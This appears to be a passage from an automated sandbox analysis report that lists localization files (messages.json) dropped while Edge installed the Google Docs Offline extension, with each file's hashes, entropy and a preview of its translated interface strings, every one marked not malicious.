Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

